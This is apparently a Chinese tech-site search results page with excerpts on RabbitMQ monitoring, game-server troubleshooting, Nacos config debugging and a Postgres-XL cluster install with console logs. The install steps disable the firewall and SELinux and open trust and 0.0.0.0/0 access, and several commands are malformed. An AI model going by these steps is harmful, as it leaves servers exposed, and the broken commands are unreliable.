前端技术
HTML
CSS
Javascript
前端框架和UI库
VUE
ReactJS
AngularJS
JQuery
NodeJS
JSON
Element-UI
Bootstrap
Material UI
服务端和客户端
Java
Python
PHP
Golang
Scala
Kotlin
Groovy
Ruby
Lua
.net
c#
c++
后端WEB和工程框架
SpringBoot
SpringCloud
Struts2
MyBatis
Hibernate
Tornado
Beego
Go-Spring
Go Gin
Go Iris
Dubbo
HessianRPC
Maven
Gradle
数据库
MySQL
Oracle
Mongo
中间件与web容器
Redis
MemCache
Etcd
Cassandra
Kafka
RabbitMQ
RocketMQ
ActiveMQ
Nacos
Consul
Tomcat
Nginx
Netty
大数据技术
Hive
Impala
ClickHouse
DorisDB
Greenplum
PostgreSQL
HBase
Kylin
Hadoop
Apache Pig
ZooKeeper
SeaTunnel
Sqoop
Datax
Flink
Spark
Mahout
数据搜索与日志
ElasticSearch
Apache Lucene
Apache Solr
Kibana
Logstash
数据可视化与OLAP
Apache Atlas
Superset
Saiku
Tesseract
系统与容器
Linux
Shell
Docker
Kubernetes
[Config Server部署]的搜索结果
这里是文章列表。热门标签的颜色随机变换,标签颜色没有特殊含义。
点击某个标签可搜索标签相关的文章。
点击某个标签可搜索标签相关的文章。
RabbitMQ
...1s scrape_configs: - job_name: 'prometheus' static_configs: - targets: ['localhost:9090'] - job_name: 'rabbitmq' metrics_path: '/api/metrics' params: username: 'guest' password: 'guest' static_configs: - targets: ['localhost:15672'] EOF 启动Prometheus sudo systemctl start prometheus 2. 使用RabbitMQ自带的管理界面监控 RabbitMQ本身也提供了一个内置的管理界面,我们可以在这个界面上查看RabbitMQ的各种运行状态和监控指标,如消息的消费速度、消息的发布速度、消息的丢失率等。 javascript 访问RabbitMQ的管理界面 http://localhost:15672/ 3. 使用New Relic监控RabbitMQ New Relic是一款功能强大的云监控工具,可以用来监控各种应用程序和服务的性能。我们可以借助New Relic这个小帮手,实时监控RabbitMQ的各种关键表现,比如消息被“吃掉”的速度有多快、消息被“扔”出去的速度如何,甚至还能瞅瞅消息有没有迷路的(也就是丢失率)。这样一来,咱们就能像看比赛直播那样,对这些指标进行即时跟进啦。 ruby 注册New Relic账户并安装New Relic agent sudo curl -L https://download.newrelic.com/binaries/newrelic_agent/linux/x64_64/newrelic RPM | sudo tar xzv sudo mv newrelic RPM/usr/lib/ 配置New Relic的配置文件 cat << EOF > /etc/newrelic/nrsysmond.cfg license_key = YOUR_LICENSE_KEY server_url = https://insights-collector.newrelic.com application_name = rabbitmq daemon_mode = true process_monitor.enabled = true process_monitor.log_process_counts = true EOF 启动New Relic agent sudo systemctl start newrelic-sysmond.service 四、调试网络波动对RabbitMQ性能的影响 除了监控外,我们还需要对网络波动对RabbitMQ性能的影响进行深入的调试。以下是几种常见的调试方法: 1. 使用Wireshark抓取网络流量 Wireshark是一个开源的网络分析工具,可以用来捕获和分析网络中的各种流量。我们能够用Wireshark这个工具,像侦探一样监听网络中的各种消息发送和接收活动,这样一来,就能顺藤摸瓜找出导致网络波动的幕后“元凶”啦。 csharp 下载和安装Wireshark sudo apt-get update sudo apt-get install wireshark 打开Wireshark并开始抓包 wireshark & 2. 使用Docker搭建测试环境 Docker是一种轻量级的容器化平台,可以用来快速构建和部署各种应用程序和服务。我们可以动手用Docker搭建一个模拟网络波动的环境,就像搭积木一样构建出一个专门用来“折腾”RabbitMQ性能的小天地,在这个环境中好好地对RabbitMQ进行一番“体检”。 bash 安装Docker sudo apt-get update sudo apt-get install docker.io 创建一个包含网络波动模拟器的Docker镜像 docker build -t network-flakiness .
2023-10-10 09:49:37
99
青春印记-t
转载文章
...五个程序,分别是DBServer(数据库)、M2Server(M2控制台)、LoginGate(游戏网关)、GGService(登录网关)、ItemLogServer(日志),这五个程序都在服务器的任务栏上面运行了吗?如果运行了,那么进入第2个。 2、服务器的端口是不是开放了? 架设战神引擎服务器,默认需要用到的端口有这些,5600、5100、6000、7000、7100、8080、10000、20000、27017(MongoDB芒果数据库)等,这些是战神引擎默认的端口,你看看这些端口在当前架设的服务器上是不是开放了,如果不确定,可以去tool.chinaz.com/port/这个网站扫描看看。 3、引擎里面的IP是否是当前服务器的IP地址? 战神服务端里面的有4个配置文件需要修改里面的IP地址,分别在是这些文件,把这些文件别人的IP换成架设服务器所在的IP地址。 D:\mud2.0\DBServer\DBService.ini D:\mud2.0\GateServer\GameGate\MirGate.ini D:\mud2.0\GateServer\logingate\LoginGate.ini D:\mud2.0\Mir200\Gs1!Setup.txt 4、引擎里面的端口是不是修改过,在这里帮主推荐使用默认的。 跟第二条一样,引擎尽量使用默认的端口,如果修改了端口,导致引擎相互之间无法连接成功,引擎启动失败,门自然也不会开。 5、列表文件是不是存在 战神引擎列表文件有两份,分别是serverlist.json和serverlist.lua,路径如下,看看是不是有这两份文件。 D:\mud2.0\logincenter\logincenter_win\config\serverlist.json D:\mud2.0\logincenter\logincenter_win\application\controllers\serverlist.lua 这2分文件是否存在,如果存在,那么看第6条,答案就在最上面。 6、列表文件里面的IP、端口、格式是不是正确的(这个导致不开门的原因最多) 按照正常的流程,开门之后,就会出现黄色的列表信息,如下图,没有出现,那么可能serverlist.lua文件有问题,这其中包括了里面的列表格式,这个非常重要,你们在修改的时候,记得只修改里面的IP和游戏名字,端口默认8088即可。更不要添加标点符号等,多一个或少空格都会导致这份文件无法加载,从而出现了不开门的情况,如果开门了,到这里点击进不去,也是因为你修改修改的时候,破坏了标准的Lua格式。 本篇文章为转载内容。原文链接:https://blog.csdn.net/qq_43410101/article/details/108263880。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。
2023-02-27 13:11:20
375
转载
转载文章
...ing Cloud Config Server实现配置中心化管理。深入研究这些内容,有助于提升整体项目的开发效率和运维质量。 总之,在掌握了自定义Spring Boot Starter的基础之上,读者应不断跟进Spring Boot的最新发展,学习其在微服务架构、云原生部署、持续集成/持续交付等方面的最佳实践,以推动自身技术能力的迭代升级。
2023-02-10 20:49:04
269
转载
Nacos
...,发现报了一个错:“Config file not found in Nacos”。这下脑子更乱了,心里直嘀咕:“完啦,Nacos服务器该不会是罢工了吧?” 一想到这儿,赶紧三步并作两步跑去查看Nacos的状态,结果一看,嘿,人家还挺精神地在那里工作呢! “不对劲啊,难道是我自己的代码出了问题?”我开始怀疑自己是不是哪里写错了。为了验证这个假设,我先尝试重启服务,但还是不行。然后我又跑到Nacos的配置管理页面瞅了一眼,嘿,发现配置文件确实已经上传成功了,路径啥的一点问题都没有,挺顺利的!这让我更加困惑了。 “真是奇怪,到底是哪里出问题了呢?”我决定一步步排查这个问题。 --- 二、初步排查 配置路径和权限 首先,我想到的第一个可能性就是配置路径的问题。其实 Nacos 是靠路径来找配置文件的,要是路径搞错了,那它就压根找不到文件,更别提读出来了。 我打开代码,仔细检查了Nacos客户端的初始化部分: java NacosConfigService configService = NacosFactory.createConfigService("http://localhost:8848"); 这段代码看起来没问题啊,路径明明指向的是本地的Nacos服务器。而且我之前测试的时候也是这么写的,一直都没问题。 “会不会是配置路径格式变了?”我又重新检查了一遍Nacos的配置管理页面,确认路径确实正确无误。然后我又检查了权限设置,确保服务有权限访问这些配置。 “权限应该没问题吧,毕竟之前都好好的。”我自言自语道。不过嘛,我总觉得不放心,就随手叫上咱们的运维小伙伴帮我看了一下Nacos服务端的配置权限。没想到一看还真发现了点小问题,仔细一排查才发现权限其实没啥大事儿,一切正常! “看来不是路径和权限的问题,那问题到底出在哪呢?”我有点沮丧,但还是不死心,继续往下查。 --- 三、深入排查 网络连接与超时设置 接下来,我开始怀疑是不是网络连接出了问题。毕竟Nacos是基于网络通信的,如果网络不通畅,那自然会导致读取失败。 我先检查了Nacos服务端的日志,发现并没有什么异常。再瞧瞧服务端的那个监听端口,嘿,8848端口不仅开着呢,而且服务还稳稳地在跑着,一点问题没有! “难道是客户端的网络问题?”我心中一动,赶紧查看了服务端的防火墙规则,确认没有阻断任何请求。接着我又尝试ping了一下Nacos服务端的IP地址,结果发现网络连通性很好。 “网络应该没问题啊,那会不会是超时时间设置得太短了?”我灵机一动,想到之前在其他项目中遇到过类似的问题,可能是客户端等待响应的时间太短,导致请求超时。 于是我修改了Nacos客户端的配置,增加了超时时间: java Properties properties = new Properties(); properties.put(PropertyKeyConst.SERVER_ADDR, "localhost:8848"); properties.put(PropertyKeyConst.CONNECT_TIMEOUT_MS, "5000"); // 增加到5秒 NacosConfigService configService = NacosFactory.createConfigService(properties); 重新启动服务后,问题依然存在。看来超时时间也不是主要原因。 “真是搞不懂啊,难道是Nacos本身的问题?”我有些泄气,但还是决定继续深挖下去。 --- 四、终极排查 代码逻辑与异常处理 最后,我决定从代码逻辑入手,看看是不是程序内部的某些逻辑出了问题。于是我打开了Nacos客户端的源码,开始逐行分析。 在Nacos客户端的实现中,有一个方法是用来获取配置的: java String content = configService.getConfig(dataId, group, timeoutMs); 我仔细检查了这个方法的调用点,发现它是在服务启动时被调用的。你瞧,服务一启动呢,就会加载一堆东西,像数据库连接池啦,缓存配置啦,各种各样的“装备”都得准备好,这样它才能顺利开工干活呀! “会不会是某个配置项的加载顺序影响了Nacos的读取?”我突然想到这一点。我琢磨着这事儿,干脆把所有的配置加载顺序仔仔细细捋了一遍,就为了确保Nacos的配置能在服务刚启动的时候就给安排上,别拖到后面出了幺蛾子。 同时,我还加强了异常处理逻辑,给Nacos的读取操作加上了try-catch块,以便捕获具体的异常信息: java try { String content = configService.getConfig(dataId, group, timeoutMs); System.out.println("Config loaded successfully: " + content); } catch (NacosException e) { System.err.println("Failed to load config: " + e.getMessage()); } 经过一番调整后,我再次启动服务,终于看到了一条令人振奋的消息:“Config loaded successfully”。 “太好了!”我长舒一口气,“原来问题就出在这里啊。” --- 五、总结与感悟 经过这次折腾,我对Nacos有了更深的理解。Nacos这东西确实挺牛的,是个超棒的配置管理工具,但用着用着你会发现,它也不是完美无缺的,各种小问题啊、坑啊,时不时就冒出来折腾你一下。其实吧,这些问题真不一定是Nacos自己惹的祸,八成是咱们的代码写得有点问题,或者是环境配错了,带偏了Nacos。 “其实啊,调试的过程就像侦探破案一样,需要耐心和细心。我坐在电脑前忍不住感慨:“哎,有时候觉得这问题看起来平平无奇的,可谁知道背后可能藏着啥惊天大秘密呢!”” 总之,这次经历让我明白了一个道理:遇到问题不要慌,要冷静分析,逐步排查。只有这样,才能找到问题的根本原因,解决问题。希望我的经验能对大家有所帮助,如果有类似的问题,不妨按照这个思路试试看!
2025-04-06 15:56:57
67
清风徐来
转载文章
...供事务间一致性视图 部署GTM Proxy实例,以提高性能 Postgre-XL主要组件 GTM (Global Transaction Manager) - 全局事务管理器 GTM是Postgres-XL的一个关键组件,用于提供一致的事务管理和元组可见性控制。 GTM Standby GTM的备节点,在pgxc,pgxl中,GTM控制所有的全局事务分配,如果出现问题,就会导致整个集群不可用,为了增加可用性,增加该备用节点。当GTM出现问题时,GTM Standby可以升级为GTM,保证集群正常工作。 GTM-Proxy GTM需要与所有的Coordinators通信,为了降低压力,可以在每个Coordinator机器上部署一个GTM-Proxy。 Coordinator --协调器 协调器是应用程序到数据库的接口。它的作用类似于传统的PostgreSQL后台进程,但是协调器不存储任何实际数据。实际数据由数据节点存储。协调器接收SQL语句,根据需要获取全局事务Id和全局快照,确定涉及哪些数据节点,并要求它们执行(部分)语句。当向数据节点发出语句时,它与GXID和全局快照相关联,以便多版本并发控制(MVCC)属性扩展到集群范围。 Datanode --数据节点 用于实际存储数据。表可以分布在各个数据节点之间,也可以复制到所有数据节点。数据节点没有整个数据库的全局视图,它只负责本地存储的数据。接下来,协调器将检查传入语句,并制定子计划。然后,根据需要将这些数据连同GXID和全局快照一起传输到涉及的每个数据节点。数据节点可以在不同的会话中接收来自各个协调器的请求。但是,由于每个事务都是惟一标识的,并且与一致的(全局)快照相关联,所以每个数据节点都可以在其事务和快照上下文中正确执行。 Postgres-XL继承了PostgreSQL Postgres-XL是PostgreSQL的扩展并继承了其很多特性: 复杂查询 外键 触发器 视图 事务 MVCC(多版本控制) 此外,类似于PostgreSQL,用户可以通过多种方式扩展Postgres-XL,例如添加新的 数据类型 函数 操作 聚合函数 索引类型 过程语言 安装 环境说明 由于资源有限,gtm一台、另外两台身兼数职。 主机名 IP 角色 端口 nodename 数据目录 gtm 192.168.20.132 GTM 6666 gtm /nodes/gtm 协调器 5432 coord1 /nodes/coordinator xl1 192.168.20.133 数据节点 5433 node1 /nodes/pgdata gtm代理 6666 gtmpoxy01 /nodes/gtm_pxy1 协调器 5432 coord2 /nodes/coordinator xl2 192.168.20.134 数据节点 5433 node2 /nodes/pgdata gtm代理 6666 gtmpoxy02 /nodes/gtm_pxy2 要求 GNU make版本 3.8及以上版本 [root@pg ~] make --versionGNU Make 3.82Built for x86_64-redhat-linux-gnuCopyright (C) 2010 Free Software Foundation, Inc.License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>This is free software: you are free to change and redistribute it.There is NO WARRANTY, to the extent permitted by law. 需安装GCC包 需安装tar包 用于解压缩文件 默认需要GNU Readline library 其作用是可以让psql命令行记住执行过的命令,并且可以通过键盘上下键切换命令。但是可以通过--without-readline禁用这个特性,或者可以指定--withlibedit-preferred选项来使用libedit 默认使用zlib压缩库 可通过--without-zlib选项来禁用 配置hosts 所有主机上都配置 [root@xl2 11] cat /etc/hosts127.0.0.1 localhost192.168.20.132 gtm192.168.20.133 xl1192.168.20.134 xl2 关闭防火墙、Selinux 所有主机都执行 关闭防火墙: [root@gtm ~] systemctl stop firewalld.service[root@gtm ~] systemctl disable firewalld.service selinux设置: [root@gtm ~]vim /etc/selinux/config 设置SELINUX=disabled,保存退出。 This file controls the state of SELinux on the system. SELINUX= can take one of these three values: enforcing - SELinux security policy is enforced. permissive - SELinux prints warnings instead of enforcing. disabled - No SELinux policy is loaded.SELINUX=disabled SELINUXTYPE= can take one of three two values: targeted - Targeted processes are protected, minimum - Modification of targeted policy. Only selected processes are protected. mls - Multi Level Security protection. 安装依赖包 所有主机上都执行 yum install -y flex bison readline-devel zlib-devel openjade docbook-style-dsssl gcc 创建用户 所有主机上都执行 [root@gtm ~] useradd postgres[root@gtm ~] passwd postgres[root@gtm ~] su - postgres[root@gtm ~] mkdir ~/.ssh[root@gtm ~] chmod 700 ~/.ssh 配置SSH免密登录 仅仅在gtm节点配置如下操作: [root@gtm ~] su - postgres[postgres@gtm ~] ssh-keygen -t rsa[postgres@gtm ~] cat ~/.ssh/id_rsa.pub >> ~/.ssh/authorized_keys[postgres@gtm ~] chmod 600 ~/.ssh/authorized_keys 将刚生成的认证文件拷贝到xl1到xl2中,使得gtm节点可以免密码登录xl1~xl2的任意一个节点: [postgres@gtm ~] scp ~/.ssh/authorized_keys postgres@xl1:~/.ssh/[postgres@gtm ~] scp ~/.ssh/authorized_keys postgres@xl2:~/.ssh/ 对所有提示都不要输入,直接enter下一步。直到最后,因为第一次要求输入目标机器的用户密码,输入即可。 下载源码 下载地址:https://www.postgres-xl.org/download/ [root@slave ~] ll postgres-xl-10r1.1.tar.gz-rw-r--r-- 1 root root 28121666 May 30 05:21 postgres-xl-10r1.1.tar.gz 编译、安装Postgres-XL 所有节点都安装,编译需要一点时间,最好同时进行编译。 [root@slave ~] tar xvf postgres-xl-10r1.1.tar.gz[root@slave ~] ./configure --prefix=/home/postgres/pgxl/[root@slave ~] make[root@slave ~] make install[root@slave ~] cd contrib/ --安装必要的工具,在gtm节点上安装即可[root@slave ~] make[root@slave ~] make install 配置环境变量 所有节点都要配置 进入postgres用户,修改其环境变量,开始编辑 [root@gtm ~]su - postgres[postgres@gtm ~]vi .bashrc --不是.bash_profile 在打开的文件末尾,新增如下变量配置: export PGHOME=/home/postgres/pgxlexport LD_LIBRARY_PATH=$PGHOME/lib:$LD_LIBRARY_PATHexport PATH=$PGHOME/bin:$PATH 按住esc,然后输入:wq!保存退出。输入以下命令对更改重启生效。 [postgres@gtm ~] source .bashrc --不是.bash_profile 输入以下语句,如果输出变量结果,代表生效 [postgres@gtm ~] echo $PGHOME 应该输出/home/postgres/pgxl代表生效 配置集群 生成pgxc_ctl.conf配置文件 [postgres@gtm ~] pgxc_ctl prepare/bin/bashInstalling pgxc_ctl_bash script as /home/postgres/pgxl/pgxc_ctl/pgxc_ctl_bash.ERROR: File "/home/postgres/pgxl/pgxc_ctl/pgxc_ctl.conf" not found or not a regular file. No such file or directoryInstalling pgxc_ctl_bash script as /home/postgres/pgxl/pgxc_ctl/pgxc_ctl_bash.Reading configuration using /home/postgres/pgxl/pgxc_ctl/pgxc_ctl_bash --home /home/postgres/pgxl/pgxc_ctl --configuration /home/postgres/pgxl/pgxc_ctl/pgxc_ctl.confFinished reading configuration. PGXC_CTL START Current directory: /home/postgres/pgxl/pgxc_ctl 配置pgxc_ctl.conf 新建/home/postgres/pgxc_ctl/pgxc_ctl.conf文件,编辑如下: 对着模板文件一个一个修改,否则会造成初始化过程出现各种神奇问题。 pgxcInstallDir=$PGHOMEpgxlDATA=$PGHOME/data pgxcOwner=postgres---- GTM Master -----------------------------------------gtmName=gtmgtmMasterServer=gtmgtmMasterPort=6666gtmMasterDir=$pgxlDATA/nodes/gtmgtmSlave=y Specify y if you configure GTM Slave. Otherwise, GTM slave will not be configured and all the following variables will be reset.gtmSlaveName=gtmSlavegtmSlaveServer=gtm value none means GTM slave is not available. Give none if you don't configure GTM Slave.gtmSlavePort=20001 Not used if you don't configure GTM slave.gtmSlaveDir=$pgxlDATA/nodes/gtmSlave Not used if you don't configure GTM slave.---- GTM-Proxy Master -------gtmProxyDir=$pgxlDATA/nodes/gtm_proxygtmProxy=y gtmProxyNames=(gtm_pxy1 gtm_pxy2) gtmProxyServers=(xl1 xl2) gtmProxyPorts=(6666 6666) gtmProxyDirs=($gtmProxyDir $gtmProxyDir) ---- Coordinators ---------coordMasterDir=$pgxlDATA/nodes/coordcoordNames=(coord1 coord2) coordPorts=(5432 5432) poolerPorts=(6667 6667) coordPgHbaEntries=(0.0.0.0/0)coordMasterServers=(xl1 xl2) coordMasterDirs=($coordMasterDir $coordMasterDir)coordMaxWALsernder=0 没设置备份节点,设置为0coordMaxWALSenders=($coordMaxWALsernder $coordMaxWALsernder) 数量保持和coordMasterServers一致coordSlave=n---- Datanodes ----------datanodeMasterDir=$pgxlDATA/nodes/dn_masterprimaryDatanode=xl1 主数据节点datanodeNames=(node1 node2)datanodePorts=(5433 5433) datanodePoolerPorts=(6668 6668) datanodePgHbaEntries=(0.0.0.0/0)datanodeMasterServers=(xl1 xl2)datanodeMasterDirs=($datanodeMasterDir $datanodeMasterDir)datanodeMaxWalSender=4datanodeMaxWALSenders=($datanodeMaxWalSender $datanodeMaxWalSender) 集群初始化,启动,停止 初始化 pgxc_ctl -c /home/postgres/pgxc_ctl/pgxc_ctl.conf init all 输出结果: /bin/bashInstalling pgxc_ctl_bash script as /home/postgres/pgxc_ctl/pgxc_ctl_bash.Installing pgxc_ctl_bash script as /home/postgres/pgxc_ctl/pgxc_ctl_bash.Reading configuration using /home/postgres/pgxc_ctl/pgxc_ctl_bash --home /home/postgres/pgxc_ctl --configuration /home/postgres/pgxc_ctl/pgxc_ctl.conf/home/postgres/pgxc_ctl/pgxc_ctl.conf: line 189: $coordExtraConfig: ambiguous redirectFinished reading configuration. PGXC_CTL START Current directory: /home/postgres/pgxc_ctlStopping all the coordinator masters.Stopping coordinator master coord1.Stopping coordinator master coord2.pg_ctl: directory "/home/postgres/pgxc/nodes/coord/coord1" does not existpg_ctl: directory "/home/postgres/pgxc/nodes/coord/coord2" does not existDone.Stopping all the datanode masters.Stopping datanode master datanode1.Stopping datanode master datanode2.pg_ctl: PID file "/home/postgres/pgxc/nodes/datanode/datanode1/postmaster.pid" does not existIs server running?Done.Stop GTM masterwaiting for server to shut down.... doneserver stopped[postgres@gtm ~]$ echo $PGHOME/home/postgres/pgxl[postgres@gtm ~]$ ll /home/postgres/pgxl/pgxc/nodes/gtm/gtm.^C[postgres@gtm ~]$ pgxc_ctl -c /home/postgres/pgxc_ctl/pgxc_ctl.conf init all/bin/bashInstalling pgxc_ctl_bash script as /home/postgres/pgxc_ctl/pgxc_ctl_bash.Installing pgxc_ctl_bash script as /home/postgres/pgxc_ctl/pgxc_ctl_bash.Reading configuration using /home/postgres/pgxc_ctl/pgxc_ctl_bash --home /home/postgres/pgxc_ctl --configuration /home/postgres/pgxc_ctl/pgxc_ctl.conf/home/postgres/pgxc_ctl/pgxc_ctl.conf: line 189: $coordExtraConfig: ambiguous redirectFinished reading configuration. PGXC_CTL START Current directory: /home/postgres/pgxc_ctlInitialize GTM masterERROR: target directory (/home/postgres/pgxc/nodes/gtm) exists and not empty. Skip GTM initilializationDone.Start GTM masterserver startingInitialize all the coordinator masters.Initialize coordinator master coord1.ERROR: target coordinator master coord1 is running now. Skip initilialization.Initialize coordinator master coord2.The files belonging to this database system will be owned by user "postgres".This user must also own the server process.The database cluster will be initialized with locale "en_US.UTF-8".The default database encoding has accordingly been set to "UTF8".The default text search configuration will be set to "english".Data page checksums are disabled.fixing permissions on existing directory /home/postgres/pgxc/nodes/coord/coord2 ... okcreating subdirectories ... okselecting default max_connections ... 100selecting default shared_buffers ... 128MBselecting dynamic shared memory implementation ... posixcreating configuration files ... okrunning bootstrap script ... okperforming post-bootstrap initialization ... creating cluster information ... oksyncing data to disk ... okfreezing database template0 ... okfreezing database template1 ... okfreezing database postgres ... okWARNING: enabling "trust" authentication for local connectionsYou can change this by editing pg_hba.conf or using the option -A, or--auth-local and --auth-host, the next time you run initdb.Success.Done.Starting coordinator master.Starting coordinator master coord1ERROR: target coordinator master coord1 is already running now. Skip initialization.Starting coordinator master coord22019-05-30 21:09:25.562 EDT [2148] LOG: listening on IPv4 address "0.0.0.0", port 54322019-05-30 21:09:25.562 EDT [2148] LOG: listening on IPv6 address "::", port 54322019-05-30 21:09:25.563 EDT [2148] LOG: listening on Unix socket "/tmp/.s.PGSQL.5432"2019-05-30 21:09:25.601 EDT [2149] LOG: database system was shut down at 2019-05-30 21:09:22 EDT2019-05-30 21:09:25.605 EDT [2148] LOG: database system is ready to accept connections2019-05-30 21:09:25.612 EDT [2156] LOG: cluster monitor startedDone.Initialize all the datanode masters.Initialize the datanode master datanode1.Initialize the datanode master datanode2.The files belonging to this database system will be owned by user "postgres".This user must also own the server process.The database cluster will be initialized with locale "en_US.UTF-8".The default database encoding has accordingly been set to "UTF8".The default text search configuration will be set to "english".Data page checksums are disabled.fixing permissions on existing directory /home/postgres/pgxc/nodes/datanode/datanode1 ... okcreating subdirectories ... okselecting default max_connections ... 100selecting default shared_buffers ... 128MBselecting dynamic shared memory implementation ... posixcreating configuration files ... okrunning bootstrap script ... okperforming post-bootstrap initialization ... creating cluster information ... oksyncing data to disk ... okfreezing database template0 ... okfreezing database template1 ... okfreezing database postgres ... okWARNING: enabling "trust" authentication for local connectionsYou can change this by editing pg_hba.conf or using the option -A, or--auth-local and --auth-host, the next time you run initdb.Success.The files belonging to this database system will be owned by user "postgres".This user must also own the server process.The database cluster will be initialized with locale "en_US.UTF-8".The default database encoding has accordingly been set to "UTF8".The default text search configuration will be set to "english".Data page checksums are disabled.fixing permissions on existing directory /home/postgres/pgxc/nodes/datanode/datanode2 ... okcreating subdirectories ... okselecting default max_connections ... 100selecting default shared_buffers ... 128MBselecting dynamic shared memory implementation ... posixcreating configuration files ... okrunning bootstrap script ... okperforming post-bootstrap initialization ... creating cluster information ... oksyncing data to disk ... okfreezing database template0 ... okfreezing database template1 ... okfreezing database postgres ... okWARNING: enabling "trust" authentication for local connectionsYou can change this by editing pg_hba.conf or using the option -A, or--auth-local and --auth-host, the next time you run initdb.Success.Done.Starting all the datanode masters.Starting datanode master datanode1.WARNING: datanode master datanode1 is running now. Skipping.Starting datanode master datanode2.2019-05-30 21:09:33.352 EDT [2404] LOG: listening on IPv4 address "0.0.0.0", port 154322019-05-30 21:09:33.352 EDT [2404] LOG: listening on IPv6 address "::", port 154322019-05-30 21:09:33.355 EDT [2404] LOG: listening on Unix socket "/tmp/.s.PGSQL.15432"2019-05-30 21:09:33.392 EDT [2404] LOG: redirecting log output to logging collector process2019-05-30 21:09:33.392 EDT [2404] HINT: Future log output will appear in directory "pg_log".Done.psql: FATAL: no pg_hba.conf entry for host "192.168.20.132", user "postgres", database "postgres"psql: FATAL: no pg_hba.conf entry for host "192.168.20.132", user "postgres", database "postgres"Done.psql: FATAL: no pg_hba.conf entry for host "192.168.20.132", user "postgres", database "postgres"psql: FATAL: no pg_hba.conf entry for host "192.168.20.132", user "postgres", database "postgres"Done.[postgres@gtm ~]$ pgxc_ctl -c /home/postgres/pgxc_ctl/pgxc_ctl.conf stop all/bin/bashInstalling pgxc_ctl_bash script as /home/postgres/pgxc_ctl/pgxc_ctl_bash.Installing pgxc_ctl_bash script as /home/postgres/pgxc_ctl/pgxc_ctl_bash.Reading configuration using /home/postgres/pgxc_ctl/pgxc_ctl_bash --home /home/postgres/pgxc_ctl --configuration /home/postgres/pgxc_ctl/pgxc_ctl.conf/home/postgres/pgxc_ctl/pgxc_ctl.conf: line 189: $coordExtraConfig: ambiguous redirectFinished reading configuration. PGXC_CTL START Current directory: /home/postgres/pgxc_ctlStopping all the coordinator masters.Stopping coordinator master coord1.Stopping coordinator master coord2.pg_ctl: directory "/home/postgres/pgxc/nodes/coord/coord1" does not existDone.Stopping all the datanode masters.Stopping datanode master datanode1.Stopping datanode master datanode2.pg_ctl: PID file "/home/postgres/pgxc/nodes/datanode/datanode1/postmaster.pid" does not existIs server running?Done.Stop GTM masterwaiting for server to shut down.... doneserver stopped[postgres@gtm ~]$ pgxc_ctl/bin/bashInstalling pgxc_ctl_bash script as /home/postgres/pgxc_ctl/pgxc_ctl_bash.Installing pgxc_ctl_bash script as /home/postgres/pgxc_ctl/pgxc_ctl_bash.Reading configuration using /home/postgres/pgxc_ctl/pgxc_ctl_bash --home /home/postgres/pgxc_ctl --configuration /home/postgres/pgxc_ctl/pgxc_ctl.conf/home/postgres/pgxc_ctl/pgxc_ctl.conf: line 189: $coordExtraConfig: ambiguous redirectFinished reading configuration. PGXC_CTL START Current directory: /home/postgres/pgxc_ctlPGXC monitor allNot running: gtm masterRunning: coordinator master coord1Not running: coordinator master coord2Running: datanode master datanode1Not running: datanode master datanode2PGXC stop coordinator master coord1Stopping coordinator master coord1.pg_ctl: directory "/home/postgres/pgxc/nodes/coord/coord1" does not existDone.PGXC stop datanode master datanode1Stopping datanode master datanode1.pg_ctl: PID file "/home/postgres/pgxc/nodes/datanode/datanode1/postmaster.pid" does not existIs server running?Done.PGXC monitor allNot running: gtm masterRunning: coordinator master coord1Not running: coordinator master coord2Running: datanode master datanode1Not running: datanode master datanode2PGXC monitor allNot running: gtm masterNot running: coordinator master coord1Not running: coordinator master coord2Not running: datanode master datanode1Not running: datanode master datanode2PGXC exit[postgres@gtm ~]$ pgxc_ctl -c /home/postgres/pgxc_ctl/pgxc_ctl.conf init all/bin/bashInstalling pgxc_ctl_bash script as /home/postgres/pgxc_ctl/pgxc_ctl_bash.Installing pgxc_ctl_bash script as /home/postgres/pgxc_ctl/pgxc_ctl_bash.Reading configuration using /home/postgres/pgxc_ctl/pgxc_ctl_bash --home /home/postgres/pgxc_ctl --configuration /home/postgres/pgxc_ctl/pgxc_ctl.conf/home/postgres/pgxc_ctl/pgxc_ctl.conf: line 189: $coordExtraConfig: ambiguous redirectFinished reading configuration. PGXC_CTL START Current directory: /home/postgres/pgxc_ctlInitialize GTM masterERROR: target directory (/home/postgres/pgxc/nodes/gtm) exists and not empty. Skip GTM initilializationDone.Start GTM masterserver startingInitialize all the coordinator masters.Initialize coordinator master coord1.Initialize coordinator master coord2.The files belonging to this database system will be owned by user "postgres".This user must also own the server process.The database cluster will be initialized with locale "en_US.UTF-8".The default database encoding has accordingly been set to "UTF8".The default text search configuration will be set to "english".Data page checksums are disabled.fixing permissions on existing directory /home/postgres/pgxc/nodes/coord/coord1 ... okcreating subdirectories ... okselecting default max_connections ... 100selecting default shared_buffers ... 128MBselecting dynamic shared memory implementation ... posixcreating configuration files ... okrunning bootstrap script ... okperforming post-bootstrap initialization ... creating cluster information ... oksyncing data to disk ... okfreezing database template0 ... okfreezing database template1 ... okfreezing database postgres ... okWARNING: enabling "trust" authentication for local connectionsYou can change this by editing pg_hba.conf or using the option -A, or--auth-local and --auth-host, the next time you run initdb.Success.The files belonging to this database system will be owned by user "postgres".This user must also own the server process.The database cluster will be initialized with locale "en_US.UTF-8".The default database encoding has accordingly been set to "UTF8".The default text search configuration will be set to "english".Data page checksums are disabled.fixing permissions on existing directory /home/postgres/pgxc/nodes/coord/coord2 ... okcreating subdirectories ... okselecting default max_connections ... 100selecting default shared_buffers ... 128MBselecting dynamic shared memory implementation ... posixcreating configuration files ... okrunning bootstrap script ... okperforming post-bootstrap initialization ... creating cluster information ... oksyncing data to disk ... okfreezing database template0 ... okfreezing database template1 ... okfreezing database postgres ... okWARNING: enabling "trust" authentication for local connectionsYou can change this by editing pg_hba.conf or using the option -A, or--auth-local and --auth-host, the next time you run initdb.Success.Done.Starting coordinator master.Starting coordinator master coord1Starting coordinator master coord22019-05-30 21:13:03.998 EDT [25137] LOG: listening on IPv4 address "0.0.0.0", port 54322019-05-30 21:13:03.998 EDT [25137] LOG: listening on IPv6 address "::", port 54322019-05-30 21:13:04.000 EDT [25137] LOG: listening on Unix socket "/tmp/.s.PGSQL.5432"2019-05-30 21:13:04.038 EDT [25138] LOG: database system was shut down at 2019-05-30 21:13:00 EDT2019-05-30 21:13:04.042 EDT [25137] LOG: database system is ready to 